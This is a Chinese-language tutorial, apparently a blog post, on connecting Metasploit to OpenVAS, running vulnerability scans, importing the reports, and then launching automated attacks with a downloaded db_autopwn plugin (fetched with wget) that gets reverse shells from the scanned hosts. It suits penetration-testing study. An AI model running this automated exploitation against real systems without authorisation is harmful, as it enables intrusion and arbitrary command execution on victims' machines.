之前斗哥介绍过openVAS,今天我们来一起学习下如何使用metasploit连接openVAS进行漏洞扫描,并且结合db_autopwn插件进行一次自动化攻击。
OpenVAS简介
OpenVAS的结构如下图所示,OpenVAS Manager通过OTP(OpenVAS Transfer Protocol)控制扫描器,并且它本身提供了基于XML的无状态OMP(OpenVAS Management Protocol)。OpenVAS Scanner 是执行扫描的主服务,默认端口为9391;OpenVAS Manager主要负责与客户端Greebone程序通信,完成扫描任务、检测报告的提交等工作,默认端口是9390。因此在我们使用metasploit调用openVAS的时候也是连接9390这个端口,通过命令交互驱动manager进行操作。
metasploit连接OpenVAS
1.加载openVAS模块
进入msfconsole控制台,输入以下命令:
msf >load openvas
2.连接OpenVAS
msf > openvas_connect hostname password host port <ssl-confirm>
当连接到外部的openVAS时,最后一个参数必须为“ok”,代表你信任该连接。
msfconsole调用openVAS扫描漏洞
在msf中openVAS操作都基于ID进行。
1.创建扫描目标
msf > openvas_target_create <name> <hosts> <comment>
2.创建扫描任务
创建扫描任务,需要关联扫描目标和选择扫描策略,默认有8种扫描策略,输入以下命令可以查看扫描策略:
msf > openvas_config_list
选择一个扫描策略然后通过以下命令进行扫描任务的创建:
msf > openvas_task_create <name> <comment> <config_id> <target_id>
3.启动扫描并且查看进度
使用以下命令启动扫描任务: msf > openvas_task_start <id>
可以使用以下命令查看扫描进度: msf > openvas_task_list
status是扫描状态,当为done的时候表示扫描完毕,progress表示扫描的进度,status状态为new和done的时候progress均为-1。
4.查看报告
使用以下命令可以查看报告列表: msf > openvas_report_list
5.下载报告
下载报告的时候需要知道openVAS支持哪些文件格式的下载,通过以下命令查看可以下载的文件格式: msf > openvas_format_list
使用以下可以选择对应的文件格式进行报告的下载: msf > openvas_report_download <report_id> <format_id> <path> <report_name>
6.导入报告
将报告导入metasploit的数据库中,首先要保证数据库是启动的,通过以下命令查看当前数据库的连接情况: msf > db_status
如果没有数据库链接,需要进行数据库连接,以下介绍的是连接metasploit本地的postgresql数据库:
root@kali:~# service postgresql start
msf > db_connet username:password@localhost:port/database
不知道postgresql的用户密码可以查看以下这个存放用户名密码的文件:
/usr/share/metasploit-framework/config/database.yml
在确保有数据库链接的情况下,进行报告导入,使用以下命令: msf > openvas_report_import <report_id> <format_id> 只允许XML或者NBE格式的报告导入。
导入报告后,可以通过以下命令进行漏洞查看: msf > vulns
db_autopwn自动化攻击插件
metasploit4.5版本前有个自动化攻击的模块——db_autopwn,之后的版本弃用了这个模块,但网上有资源可以下载这个模块。
1.首先先随便load一个不存在插件,从报错信息可以知道插件存在的位置:
/usr/share/metasploit-framework/plugins/
2.进入插件存放目录,下载db_autopwn.rb:
root@kali:/usr/share/metasploit-framework/plugins# wget https://raw.githubusercontent.com/hahwul/metasploit-db_autopwn/master/db_autopwn.rb
3.加载db_autopwn模块: msf > load db_autopwn
4.通过以下命令查看ab_autopwn的用法:
msf > db_autopwn -h
5.使用以下命令进行自动化攻击:
msf > db_autopwn -t -p -e -r
6.出现以下情况就是有shell反弹回来,并且建立连接:
7.跑完所有脚本后,如果有反弹shell,就会显示以下会话详情:
8.通过命令连接到该会话,可以执行任意命令:
Metasploit与openVAS结合使用就介绍到这啦,调用扫描的命令都很简单,自动化攻击也省下不少时间,大家可以动手试试哇~